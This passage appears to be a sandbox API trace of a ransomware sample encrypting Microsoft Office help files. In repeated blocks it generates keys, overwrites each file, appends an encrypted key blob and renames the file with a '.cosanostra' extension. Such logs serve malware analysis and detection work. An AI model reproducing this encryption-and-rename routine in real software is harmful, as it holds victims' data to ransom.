pbBuffer=0x2abf2f8) returned 1 [0094.987] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf2f0*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf2f0*=0x30) returned 1 [0094.987] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.WINWORD.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.winword.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0094.988] lstrlenW (lpString="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.WINWORD.14.1033.hxn") returned 60 [0094.988] StrStrW (lpFirst="MS.WINWORD.14.1033.hxn", lpSrch=".txt") returned 0x0 [0094.989] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xfffffeae, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.989] WriteFile (in: hFile=0x180, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x2abf2b4, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x2abf2b4*=0x152, lpOverlapped=0x0) returned 1 [0094.989] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.989] WriteFile (in: hFile=0x180, lpBuffer=0x2abf2f4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf2b4, lpOverlapped=0x0 | out: lpBuffer=0x2abf2f4*, lpNumberOfBytesWritten=0x2abf2b4*=0x4, lpOverlapped=0x0) returned 1 [0094.989] WriteFile (in: hFile=0x180, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf2b4, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x2abf2b4*=0x30, lpOverlapped=0x0) returned 1 [0094.990] CloseHandle (hObject=0x180) returned 1 [0094.990] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.WINWORD.14.1033.hxn.cosanostra") returned 71 [0094.990] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.WINWORD.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.winword.14.1033.hxn"), lpNewFileName="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.WINWORD.14.1033.hxn.cosanostra" (normalized: "c:\\users\\all users\\microsoft help\\ms.winword.14.1033.hxn.cosanostra")) returned 1 [0094.990] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf2f0 | out: pbBuffer=0x2abf2f0) returned 1 [0094.990] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf2e8*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf2e8*=0x30) returned 1 [0094.990] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.WINPROJ.DEV.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.winproj.dev.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0094.992] lstrlenW (lpString="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.WINPROJ.DEV.14.1033.hxn") returned 64 [0094.992] StrStrW (lpFirst="MS.WINPROJ.DEV.14.1033.hxn", lpSrch=".txt") returned 0x0 [0094.993] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xfffffe96, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.993] WriteFile (in: hFile=0x180, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x16a, lpNumberOfBytesWritten=0x2abf2ac, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x2abf2ac*=0x16a, lpOverlapped=0x0) returned 1 [0094.993] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.993] WriteFile (in: hFile=0x180, lpBuffer=0x2abf2ec*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf2ac, lpOverlapped=0x0 | out: lpBuffer=0x2abf2ec*, lpNumberOfBytesWritten=0x2abf2ac*=0x4, lpOverlapped=0x0) returned 1 [0094.993] WriteFile (in: hFile=0x180, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf2ac, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x2abf2ac*=0x30, lpOverlapped=0x0) returned 1 [0094.994] CloseHandle (hObject=0x180) returned 1 [0094.994] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.WINPROJ.DEV.14.1033.hxn.cosanostra") returned 75 [0094.994] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.WINPROJ.DEV.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.winproj.dev.14.1033.hxn"), lpNewFileName="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.WINPROJ.DEV.14.1033.hxn.cosanostra" (normalized: "c:\\users\\all users\\microsoft help\\ms.winproj.dev.14.1033.hxn.cosanostra")) returned 1 [0094.994] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf2f0 | out: pbBuffer=0x2abf2f0) returned 1 [0094.994] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf2e8*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf2e8*=0x30) returned 1 [0094.994] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.WINPROJ.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.winproj.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0094.995] lstrlenW (lpString="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.WINPROJ.14.1033.hxn") returned 60 [0094.995] StrStrW (lpFirst="MS.WINPROJ.14.1033.hxn", lpSrch=".txt") returned 0x0 [0094.996] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xfffffeae, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.996] WriteFile (in: hFile=0x180, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x2abf2ac, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x2abf2ac*=0x152, lpOverlapped=0x0) returned 1 [0094.996] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.996] WriteFile (in: hFile=0x180, lpBuffer=0x2abf2ec*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf2ac, lpOverlapped=0x0 | out: lpBuffer=0x2abf2ec*, lpNumberOfBytesWritten=0x2abf2ac*=0x4, lpOverlapped=0x0) returned 1 [0094.996] WriteFile (in: hFile=0x180, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf2ac, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x2abf2ac*=0x30, lpOverlapped=0x0) returned 1 [0094.996] CloseHandle (hObject=0x180) returned 1 [0094.996] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.WINPROJ.14.1033.hxn.cosanostra") returned 71 [0094.996] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.WINPROJ.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.winproj.14.1033.hxn"), lpNewFileName="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.WINPROJ.14.1033.hxn.cosanostra" (normalized: "c:\\users\\all users\\microsoft help\\ms.winproj.14.1033.hxn.cosanostra")) returned 1 [0094.997] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf2e8 | out: pbBuffer=0x2abf2e8) returned 1 [0094.997] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf2e0*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf2e0*=0x30) returned 1 [0094.997] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.VISIO_STD.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.visio_std.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0094.997] lstrlenW (lpString="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.VISIO_STD.14.1033.hxn") returned 62 [0094.997] StrStrW (lpFirst="MS.VISIO_STD.14.1033.hxn", lpSrch=".txt") returned 0x0 [0094.998] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xfffffea2, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.998] WriteFile (in: hFile=0x180, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2abf2a4, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x2abf2a4*=0x15e, lpOverlapped=0x0) returned 1 [0094.998] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.998] WriteFile (in: hFile=0x180, lpBuffer=0x2abf2e4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf2a4, lpOverlapped=0x0 | out: lpBuffer=0x2abf2e4*, lpNumberOfBytesWritten=0x2abf2a4*=0x4, lpOverlapped=0x0) returned 1 [0094.998] WriteFile (in: hFile=0x180, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf2a4, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x2abf2a4*=0x30, lpOverlapped=0x0) returned 1 [0094.999] CloseHandle (hObject=0x180) returned 1 [0094.999] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.VISIO_STD.14.1033.hxn.cosanostra") returned 73 [0094.999] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.VISIO_STD.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.visio_std.14.1033.hxn"), lpNewFileName="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.VISIO_STD.14.1033.hxn.cosanostra" (normalized: "c:\\users\\all users\\microsoft help\\ms.visio_std.14.1033.hxn.cosanostra")) returned 1 [0094.999] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf2e8 | out: pbBuffer=0x2abf2e8) returned 1 [0094.999] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf2e0*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf2e0*=0x30) returned 1 [0094.999] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.VISIO_PRM.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.visio_prm.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0095.000] lstrlenW (lpString="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.VISIO_PRM.14.1033.hxn") returned 62 [0095.000] StrStrW (lpFirst="MS.VISIO_PRM.14.1033.hxn", lpSrch=".txt") returned 0x0 [0095.001] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xfffffea2, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0095.001] WriteFile (in: hFile=0x180, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2abf2a4, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x2abf2a4*=0x15e, lpOverlapped=0x0) returned 1 [0095.001] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.001] WriteFile (in: hFile=0x180, lpBuffer=0x2abf2e4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf2a4, lpOverlapped=0x0 | out: lpBuffer=0x2abf2e4*, lpNumberOfBytesWritten=0x2abf2a4*=0x4, lpOverlapped=0x0) returned 1 [0095.001] WriteFile (in: hFile=0x180, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf2a4, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x2abf2a4*=0x30, lpOverlapped=0x0) returned 1 [0095.001] CloseHandle (hObject=0x180) returned 1 [0095.002] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.VISIO_PRM.14.1033.hxn.cosanostra") returned 73 [0095.002] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.VISIO_PRM.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.visio_prm.14.1033.hxn"), lpNewFileName="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.VISIO_PRM.14.1033.hxn.cosanostra" (normalized: "c:\\users\\all users\\microsoft help\\ms.visio_prm.14.1033.hxn.cosanostra")) returned 1 [0095.002] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf2e0 | out: pbBuffer=0x2abf2e0) returned 1 [0095.003] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf2d8*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf2d8*=0x30) returned 1 [0095.003] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.VISIO.SHAPESHEET.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.visio.shapesheet.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0095.003] lstrlenW (lpString="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.VISIO.SHAPESHEET.14.1033.hxn") returned 69 [0095.003] StrStrW (lpFirst="MS.VISIO.SHAPESHEET.14.1033.hxn", lpSrch=".txt") returned 0x0 [0095.004] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xfffffe78, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0095.004] WriteFile (in: hFile=0x180, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x188, lpNumberOfBytesWritten=0x2abf29c, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x2abf29c*=0x188, lpOverlapped=0x0) returned 1 [0095.004] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.004] WriteFile (in: hFile=0x180, lpBuffer=0x2abf2dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf29c, lpOverlapped=0x0 | out: lpBuffer=0x2abf2dc*, lpNumberOfBytesWritten=0x2abf29c*=0x4, lpOverlapped=0x0) returned 1 [0095.004] WriteFile (in: hFile=0x180, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf29c, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x2abf29c*=0x30, lpOverlapped=0x0) returned 1 [0095.004] CloseHandle (hObject=0x180) returned 1 [0095.004] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.VISIO.SHAPESHEET.14.1033.hxn.cosanostra") returned 80 [0095.004] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.VISIO.SHAPESHEET.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.visio.shapesheet.14.1033.hxn"), lpNewFileName="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.VISIO.SHAPESHEET.14.1033.hxn.cosanostra" (normalized: "c:\\users\\all users\\microsoft help\\ms.visio.shapesheet.14.1033.hxn.cosanostra")) returned 1 [0095.005] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf2e0 | out: pbBuffer=0x2abf2e0) returned 1 [0095.005] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf2d8*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf2d8*=0x30) returned 1 [0095.005] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.VISIO.DEV.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.visio.dev.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0095.005] lstrlenW (lpString="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.VISIO.DEV.14.1033.hxn") returned 62 [0095.005] StrStrW (lpFirst="MS.VISIO.DEV.14.1033.hxn", lpSrch=".txt") returned 0x0 [0095.006] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xfffffea2, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0095.006] WriteFile (in: hFile=0x180, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2abf29c, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x2abf29c*=0x15e, lpOverlapped=0x0) returned 1 [0095.006] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.006] WriteFile (in: hFile=0x180, lpBuffer=0x2abf2dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf29c, lpOverlapped=0x0 | out: lpBuffer=0x2abf2dc*, lpNumberOfBytesWritten=0x2abf29c*=0x4, lpOverlapped=0x0) returned 1 [0095.006] WriteFile (in: hFile=0x180, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf29c, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x2abf29c*=0x30, lpOverlapped=0x0) returned 1 [0095.006] CloseHandle (hObject=0x180) returned 1 [0095.006] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.VISIO.DEV.14.1033.hxn.cosanostra") returned 73 [0095.006] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.VISIO.DEV.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.visio.dev.14.1033.hxn"), lpNewFileName="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.VISIO.DEV.14.1033.hxn.cosanostra" (normalized: "c:\\users\\all users\\microsoft help\\ms.visio.dev.14.1033.hxn.cosanostra")) returned 1 [0095.007] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf2d8 | out: pbBuffer=0x2abf2d8) returned 1 [0095.007] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf2d0*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf2d0*=0x30) returned 1 [0095.007] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.VISIO.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.visio.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0095.007] lstrlenW (lpString="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.VISIO.14.1033.hxn") returned 58 [0095.007] StrStrW (lpFirst="MS.VISIO.14.1033.hxn", lpSrch=".txt") returned 0x0 [0095.008] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xfffffeba, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0095.008] WriteFile (in: hFile=0x180, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x146, lpNumberOfBytesWritten=0x2abf294, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x2abf294*=0x146, lpOverlapped=0x0) returned 1 [0095.008] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.008] WriteFile (in: hFile=0x180, lpBuffer=0x2abf2d4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf294, lpOverlapped=0x0 | out: lpBuffer=0x2abf2d4*, lpNumberOfBytesWritten=0x2abf294*=0x4, lpOverlapped=0x0) returned 1 [0095.008] WriteFile (in: hFile=0x180, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf294, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x2abf294*=0x30, lpOverlapped=0x0) returned 1 [0095.008] CloseHandle (hObject=0x180) returned 1 [0095.009] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.VISIO.14.1033.hxn.cosanostra") returned 69 [0095.009] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.VISIO.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.visio.14.1033.hxn"), lpNewFileName="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.VISIO.14.1033.hxn.cosanostra" (normalized: "c:\\users\\all users\\microsoft help\\ms.visio.14.1033.hxn.cosanostra")) returned 1 [0095.009] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf2d8 | out: pbBuffer=0x2abf2d8) returned 1 [0095.009] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf2d0*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf2d0*=0x30) returned 1 [0095.009] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.SETLANG.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.setlang.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0095.010] lstrlenW (lpString="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.SETLANG.14.1033.hxn") returned 60 [0095.010] StrStrW (lpFirst="MS.SETLANG.14.1033.hxn", lpSrch=".txt") returned 0x0 [0095.011] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xfffffeae, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0095.011] WriteFile (in: hFile=0x180, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x2abf294, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x2abf294*=0x152, lpOverlapped=0x0) returned 1 [0095.011] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.011] WriteFile (in: hFile=0x180, lpBuffer=0x2abf2d4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf294, lpOverlapped=0x0 | out: lpBuffer=0x2abf2d4*, lpNumberOfBytesWritten=0x2abf294*=0x4, lpOverlapped=0x0) returned 1 [0095.011] WriteFile (in: hFile=0x180, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf294, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x2abf294*=0x30, lpOverlapped=0x0) returned 1 [0095.011] CloseHandle (hObject=0x180) returned 1 [0095.013] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.SETLANG.14.1033.hxn.cosanostra") returned 71 [0095.013] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.SETLANG.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.setlang.14.1033.hxn"), lpNewFileName="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.SETLANG.14.1033.hxn.cosanostra" (normalized: "c:\\users\\all users\\microsoft help\\ms.setlang.14.1033.hxn.cosanostra")) returned 1 [0095.014] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf2d0 | out: pbBuffer=0x2abf2d0) returned 1 [0095.014] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf2c8*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf2c8*=0x30) returned 1 [0095.014] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.POWERPNT.DEV.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.powerpnt.dev.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0095.014] lstrlenW (lpString="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.POWERPNT.DEV.14.1033.hxn") returned 65 [0095.014] StrStrW (lpFirst="MS.POWERPNT.DEV.14.1033.hxn", lpSrch=".txt") returned 0x0 [0095.015] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xfffffe90, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0095.015] WriteFile (in: hFile=0x180, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x170, lpNumberOfBytesWritten=0x2abf28c, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x2abf28c*=0x170, lpOverlapped=0x0) returned 1 [0095.015] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.015] WriteFile (in: hFile=0x180, lpBuffer=0x2abf2cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf28c, lpOverlapped=0x0 